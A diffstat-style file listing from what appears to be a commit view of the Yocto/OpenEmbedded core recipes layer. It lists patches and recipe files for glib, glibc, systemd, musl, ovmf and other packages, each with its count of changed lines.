-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch7
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch6
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch11
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch30
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch26
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch28
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch10
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch14
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch40
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/glib-meson.cross9
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common3
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc5
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-linux5
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-mingw6
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-musl6
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch12
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/run-ptest3
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0_2.62.1.bb24
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0_2.70.4.bb54
-rw-r--r--meta/recipes-core/glib-2.0/glib.inc88
-rw-r--r--meta/recipes-core/glib-networking/glib-networking/run-ptest3
-rw-r--r--meta/recipes-core/glib-networking/glib-networking_2.62.1.bb34
-rw-r--r--meta/recipes-core/glib-networking/glib-networking_2.70.1.bb38
-rw-r--r--meta/recipes-core/glibc/cross-localedef-native_2.30.bb49
-rw-r--r--meta/recipes-core/glibc/cross-localedef-native_2.35.bb54
-rw-r--r--meta/recipes-core/glibc/glibc-collateral.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-common.inc14
-rw-r--r--meta/recipes-core/glibc/glibc-ld.inc2
-rw-r--r--meta/recipes-core/glibc/glibc-locale.inc30
-rw-r--r--meta/recipes-core/glibc/glibc-locale_2.35.bb (renamed from meta/recipes-core/glibc/glibc-locale_2.30.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-mtrace.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-mtrace_2.35.bb (renamed from meta/recipes-core/glibc/glibc-mtrace_2.30.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-package.inc189
-rw-r--r--meta/recipes-core/glibc/glibc-scripts.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-scripts_2.35.bb (renamed from meta/recipes-core/glibc/glibc-scripts_2.30.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-testing.inc95
-rw-r--r--meta/recipes-core/glibc/glibc-tests.inc32
-rw-r--r--meta/recipes-core/glibc/glibc-tests_2.35.bb115
-rw-r--r--meta/recipes-core/glibc/glibc-testsuite_2.30.bb60
-rw-r--r--meta/recipes-core/glibc/glibc-testsuite_2.35.bb35
-rw-r--r--meta/recipes-core/glibc/glibc-version.inc8
-rw-r--r--meta/recipes-core/glibc/glibc.inc21
-rw-r--r--meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch1130
-rw-r--r--meta/recipes-core/glibc/glibc/0001-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch69
-rw-r--r--meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch238
-rw-r--r--meta/recipes-core/glibc/glibc/0002-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch50
-rw-r--r--meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch65
-rw-r--r--meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch141
-rw-r--r--meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch42
-rw-r--r--meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch46
-rw-r--r--meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Make-relocatable-install-for-locales.patch70
-rw-r--r--meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch153
-rw-r--r--meta/recipes-core/glibc/glibc/0006-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch1584
-rw-r--r--meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch43
-rw-r--r--meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch100
-rw-r--r--meta/recipes-core/glibc/glibc/0007-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch33
-rw-r--r--meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0008-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch208
-rw-r--r--meta/recipes-core/glibc/glibc/0009-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch387
-rw-r--r--meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch260
-rw-r--r--meta/recipes-core/glibc/glibc/0010-Quote-from-bug-1443-which-explains-what-the-patch-do.patch62
-rw-r--r--meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch616
-rw-r--r--meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch97
-rw-r--r--meta/recipes-core/glibc/glibc/0011-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch36
-rw-r--r--meta/recipes-core/glibc/glibc/0012-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch61
-rw-r--r--meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch53
-rw-r--r--meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch560
-rw-r--r--meta/recipes-core/glibc/glibc/0013-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch42
-rw-r--r--meta/recipes-core/glibc/glibc/0014-Add-unused-attribute.patch34
-rw-r--r--meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch80
-rw-r--r--meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch263
-rw-r--r--meta/recipes-core/glibc/glibc/0016-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch53
-rw-r--r--meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch45
-rw-r--r--meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch75
-rw-r--r--meta/recipes-core/glibc/glibc/0017-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch29
-rw-r--r--meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch619
-rw-r--r--meta/recipes-core/glibc/glibc/0018-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch70
-rw-r--r--meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch100
-rw-r--r--meta/recipes-core/glibc/glibc/0019-powerpc-Do-not-ask-compiler-for-finding-arch.patch48
-rw-r--r--meta/recipes-core/glibc/glibc/0020-eglibc-Clear-cache-lines-on-ppc8xx.patch83
-rw-r--r--meta/recipes-core/glibc/glibc/0021-Replace-echo-with-printf-builtin-in-nscd-init-script.patch79
-rw-r--r--meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch566
-rw-r--r--meta/recipes-core/glibc/glibc/0022-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch39
-rw-r--r--meta/recipes-core/glibc/glibc/0023-Define-DUMMY_LOCALE_T-if-not-defined.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0023-timezone-Make-shell-interpreter-overridable-in-tzsel.patch47
-rw-r--r--meta/recipes-core/glibc/glibc/0024-fix-create-thread-failed-in-unprivileged-process-BZ-.patch88
-rw-r--r--meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch84
-rw-r--r--meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch34
-rw-r--r--meta/recipes-core/glibc/glibc/0027-inject-file-assembly-directives.patch304
-rw-r--r--meta/recipes-core/glibc/glibc/0028-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/add-cross-localedef-hardlink.patch1115
-rw-r--r--meta/recipes-core/glibc/glibc/allow-compile-separate-from-util-linux-hardlink.patch226
-rw-r--r--meta/recipes-core/glibc/glibc/check-test-wrapper9
-rwxr-xr-xmeta/recipes-core/glibc/glibc/run-ptest37
-rw-r--r--meta/recipes-core/glibc/glibc_2.30.bb112
-rw-r--r--meta/recipes-core/glibc/glibc_2.35.bb123
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch79
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch2
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch19
-rw-r--r--meta/recipes-core/glibc/ldconfig-native_2.12.1.bb4
-rw-r--r--meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch23
-rw-r--r--meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch32
-rw-r--r--meta/recipes-core/ifupdown/files/inet-6-.defn-fix-inverted-checks-for-loopback.patch403
-rw-r--r--meta/recipes-core/ifupdown/files/run-ptest4
-rw-r--r--meta/recipes-core/ifupdown/files/tweak-ptest-script.patch54
-rw-r--r--meta/recipes-core/ifupdown/ifupdown_0.8.22.bb47
-rw-r--r--meta/recipes-core/ifupdown/ifupdown_0.8.37.bb57
-rw-r--r--meta/recipes-core/images/build-appliance-image_15.0.0.bb24
-rw-r--r--meta/recipes-core/images/core-image-minimal-initramfs.bb5
-rw-r--r--meta/recipes-core/images/core-image-minimal.bb2
-rw-r--r--meta/recipes-core/images/core-image-ptest-all.bb25
-rw-r--r--meta/recipes-core/images/core-image-ptest-fast.bb24
-rw-r--r--meta/recipes-core/images/core-image-tiny-initramfs.bb3
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuall/interfaces (renamed from meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm/interfaces)0
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces5
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces5
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces5
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb12
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh2
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-efi.sh5
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-testfs.sh2
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb2
-rwxr-xr-xmeta/recipes-core/initrdscripts/initramfs-framework/finish12
-rwxr-xr-xmeta/recipes-core/initrdscripts/initramfs-framework/init13
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/overlayroot112
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/rootfs23
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/setup-live2
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/udev3
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb67
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb6
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb6
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb6
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb10
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb6
-rw-r--r--meta/recipes-core/initscripts/init-system-helpers_1.62.bb41
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/checkroot.sh2
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/mountall.sh22
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh90
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh4
-rw-r--r--meta/recipes-core/initscripts/initscripts_1.0.bb34
-rw-r--r--meta/recipes-core/kbd/kbd/run-ptest4
-rw-r--r--meta/recipes-core/kbd/kbd/set-proper-path-of-resources.patch56
-rw-r--r--meta/recipes-core/kbd/kbd_2.0.4.bb64
-rw-r--r--meta/recipes-core/kbd/kbd_2.4.0.bb46
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch37
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch235
-rw-r--r--meta/recipes-core/libcgroup/libcgroup_0.41.bb46
-rw-r--r--meta/recipes-core/libcgroup/libcgroup_2.0.1.bb33
-rw-r--r--meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch33
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.28.bb18
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.8.bb18
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt.inc35
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt_4.4.28.bb2
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt_4.4.8.bb33
-rw-r--r--meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch74
-rw-r--r--meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch51
-rw-r--r--meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch44
-rw-r--r--meta/recipes-core/libxml/libxml2/runtest.patch45
-rw-r--r--meta/recipes-core/libxml/libxml2_2.9.13.bb110
-rw-r--r--meta/recipes-core/libxml/libxml2_2.9.9.bb110
-rw-r--r--meta/recipes-core/meta/build-sysroots.bb4
-rw-r--r--meta/recipes-core/meta/buildtools-extended-tarball.bb49
-rw-r--r--meta/recipes-core/meta/buildtools-tarball.bb49
-rw-r--r--meta/recipes-core/meta/cve-update-db-native.bb192
-rw-r--r--meta/recipes-core/meta/dummy-sdk-package.inc15
-rw-r--r--meta/recipes-core/meta/meta-environment-extsdk.bb2
-rw-r--r--meta/recipes-core/meta/meta-environment.bb9
-rw-r--r--meta/recipes-core/meta/meta-extsdk-toolchain.bb3
-rw-r--r--meta/recipes-core/meta/meta-go-toolchain.bb4
-rw-r--r--meta/recipes-core/meta/meta-ide-support.bb8
-rw-r--r--meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb14
-rw-r--r--meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb7
-rw-r--r--meta/recipes-core/meta/package-index.bb1
-rw-r--r--meta/recipes-core/meta/signing-keys.bb8
-rw-r--r--meta/recipes-core/meta/target-sdk-provides-dummy.bb3
-rw-r--r--meta/recipes-core/meta/testexport-tarball.bb9
-rw-r--r--meta/recipes-core/meta/uninative-tarball.bb3
-rw-r--r--meta/recipes-core/meta/wic-tools.bb13
-rw-r--r--meta/recipes-core/musl/bsd-headers.bb4
-rw-r--r--meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch30
-rw-r--r--meta/recipes-core/musl/gcompat_git.bb57
-rw-r--r--meta/recipes-core/musl/libssp-nonshared.bb17
-rw-r--r--meta/recipes-core/musl/libssp-nonshared/ssp-local.c45
-rw-r--r--meta/recipes-core/musl/libssp-nonshared/stack_chk.c40
-rw-r--r--meta/recipes-core/musl/libucontext_1.2.bb52
-rw-r--r--meta/recipes-core/musl/musl-obstack.bb4
-rw-r--r--meta/recipes-core/musl/musl-utils.bb6
-rw-r--r--meta/recipes-core/musl/musl.inc14
-rw-r--r--meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch11
-rw-r--r--meta/recipes-core/musl/musl/0001-riscv-Define-sigcontext-again.patch48
-rw-r--r--meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch17
-rw-r--r--meta/recipes-core/musl/musl_git.bb52
-rw-r--r--meta/recipes-core/ncurses/files/0001-ncurses-selective-backport-of-20191012-patch.patch169
-rw-r--r--meta/recipes-core/ncurses/files/0002-configure-reproducible.patch26
-rw-r--r--meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch30
-rw-r--r--meta/recipes-core/ncurses/files/config.cache4
-rw-r--r--meta/recipes-core/ncurses/ncurses.inc62
-rw-r--r--meta/recipes-core/ncurses/ncurses_6.1+20190803.bb12
-rw-r--r--meta/recipes-core/ncurses/ncurses_6.3.bb14
-rw-r--r--meta/recipes-core/netbase/netbase/netbase-add-rpcbind-as-an-alias-to-sunrpc.patch46
-rw-r--r--meta/recipes-core/netbase/netbase_5.6.bb21
-rw-r--r--meta/recipes-core/netbase/netbase_6.3.bb23
-rw-r--r--meta/recipes-core/newlib/libgloss_3.1.0.bb33
-rw-r--r--meta/recipes-core/newlib/libgloss_4.2.0.bb33
-rw-r--r--meta/recipes-core/newlib/newlib.inc26
-rw-r--r--meta/recipes-core/newlib/newlib_3.1.0.bb20
-rw-r--r--meta/recipes-core/newlib/newlib_4.2.0.bb20
-rw-r--r--meta/recipes-core/os-release/os-release.bb22
-rw-r--r--meta/recipes-core/ovmf/ovmf-shell-image.bb3
-rw-r--r--meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch33
-rw-r--r--meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch66
-rw-r--r--meta/recipes-core/ovmf/ovmf/0002-ovmf-update-path-to-native-BaseTools.patch33
-rw-r--r--meta/recipes-core/ovmf/ovmf/0003-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch50
-rw-r--r--meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch45
-rw-r--r--meta/recipes-core/ovmf/ovmf/0004-ovmf-enable-long-path-file.patch18
-rw-r--r--meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch104
-rw-r--r--meta/recipes-core/ovmf/ovmf/0006-reproducible.patch180
-rw-r--r--meta/recipes-core/ovmf/ovmf/VfrCompile-increase-path-length-limit.patch33
-rw-r--r--meta/recipes-core/ovmf/ovmf/no-stack-protector-all-archs.patch34
-rw-r--r--meta/recipes-core/ovmf/ovmf_git.bb78
-rw-r--r--meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb9
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-base.bb153
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-boot.bb4
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb5
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-nfs.bb9
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-sdk.bb29
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb4
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb9
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb60
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb24
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb5
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb18
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-self-hosted.bb27
-rwxr-xr-xmeta/recipes-core/psplash/files/psplash-init10
-rw-r--r--meta/recipes-core/psplash/files/psplash-start.service12
-rw-r--r--meta/recipes-core/psplash/files/psplash-systemd.service13
-rw-r--r--meta/recipes-core/psplash/psplash_git.bb73
-rw-r--r--meta/recipes-core/readline/files/rl-native.map (renamed from meta/recipes-core/readline/readline-8.0/rl-native.map)0
-rw-r--r--meta/recipes-core/readline/readline.inc23
-rw-r--r--meta/recipes-core/readline/readline/configure-fix.patch (renamed from meta/recipes-core/readline/readline-8.0/configure-fix.patch)0
-rw-r--r--meta/recipes-core/readline/readline/norpath.patch (renamed from meta/recipes-core/readline/readline-8.0/norpath.patch)0
-rw-r--r--meta/recipes-core/readline/readline_8.0.bb7
-rw-r--r--meta/recipes-core/readline/readline_8.1.2.bb7
-rw-r--r--meta/recipes-core/seatd/seatd/init45
-rw-r--r--meta/recipes-core/seatd/seatd_0.6.4.bb32
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb10
-rw-r--r--meta/recipes-core/systemd/systemd-boot_243.bb70
-rw-r--r--meta/recipes-core/systemd/systemd-boot_250.4.bb74
-rw-r--r--meta/recipes-core/systemd/systemd-bootconf_1.00.bb6
-rw-r--r--meta/recipes-core/systemd/systemd-compat-units.bb12
-rw-r--r--meta/recipes-core/systemd/systemd-conf/wired.network5
-rw-r--r--meta/recipes-core/systemd/systemd-conf_1.0.bb43
-rw-r--r--meta/recipes-core/systemd/systemd-conf_243.bb38
-rw-r--r--meta/recipes-core/systemd/systemd-machine-units_1.0.bb4
-rw-r--r--meta/recipes-core/systemd/systemd-serialgetty.bb26
-rw-r--r--meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service13
-rwxr-xr-xmeta/recipes-core/systemd/systemd-systemctl/systemctl37
-rw-r--r--meta/recipes-core/systemd/systemd.inc10
-rw-r--r--meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf6
-rw-r--r--meta/recipes-core/systemd/systemd/0001-Adjust-for-musl-headers.patch453
-rw-r--r--meta/recipes-core/systemd/systemd/0001-Fix-to-run-efi_cc-and-efi_ld-correctly-when-cross-co.patch62
-rw-r--r--meta/recipes-core/systemd/systemd/0001-Revert-meson-print-EFI-CC-configuration-nicely.patch33
-rw-r--r--meta/recipes-core/systemd/systemd/0001-Revert-meson-use-an-array-option-for-efi-cc.patch77
-rw-r--r--meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch41
-rw-r--r--meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch413
-rw-r--r--meta/recipes-core/systemd/systemd/0001-meson-Add-Defi-objcopy-option-to-specify-objcopy.patch48
-rw-r--r--meta/recipes-core/systemd/systemd/0001-pass-correct-parameters-to-getdents64.patch50
-rw-r--r--meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch42
-rw-r--r--meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch27
-rw-r--r--meta/recipes-core/systemd/systemd/0001-unit-file.c-consider-symlink-on-filesystems-like-NFS.patch42
-rw-r--r--meta/recipes-core/systemd/systemd/0002-Add-sys-stat.h-for-S_IFDIR.patch29
-rw-r--r--meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch134
-rw-r--r--meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch25
-rw-r--r--meta/recipes-core/systemd/systemd/0002-use-lnr-wrapper-instead-of-looking-for-relative-opti.patch63
-rw-r--r--meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch10
-rw-r--r--meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch49
-rw-r--r--meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch27
-rw-r--r--meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch61
-rw-r--r--meta/recipes-core/systemd/systemd/0004-rules-whitelist-hd-devices.patch34
-rw-r--r--meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch54
-rw-r--r--meta/recipes-core/systemd/systemd/0005-rules-watch-metadata-changes-in-ide-devices.patch45
-rw-r--r--meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch490
-rw-r--r--meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch227
-rw-r--r--meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch147
-rw-r--r--meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch153
-rw-r--r--meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch35
-rw-r--r--meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch43
-rw-r--r--meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch98
-rw-r--r--meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch45
-rw-r--r--meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch97
-rw-r--r--meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch37
-rw-r--r--meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch93
-rw-r--r--meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch30
-rw-r--r--meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch37
-rw-r--r--meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch42
-rw-r--r--meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch56
-rw-r--r--meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch99
-rw-r--r--meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch34
-rw-r--r--meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch33
-rw-r--r--meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch38
-rw-r--r--meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch28
-rw-r--r--meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch30
-rw-r--r--meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch62
-rw-r--r--meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch24
-rw-r--r--meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch35
-rw-r--r--meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch36
-rw-r--r--meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch30
-rw-r--r--meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch32
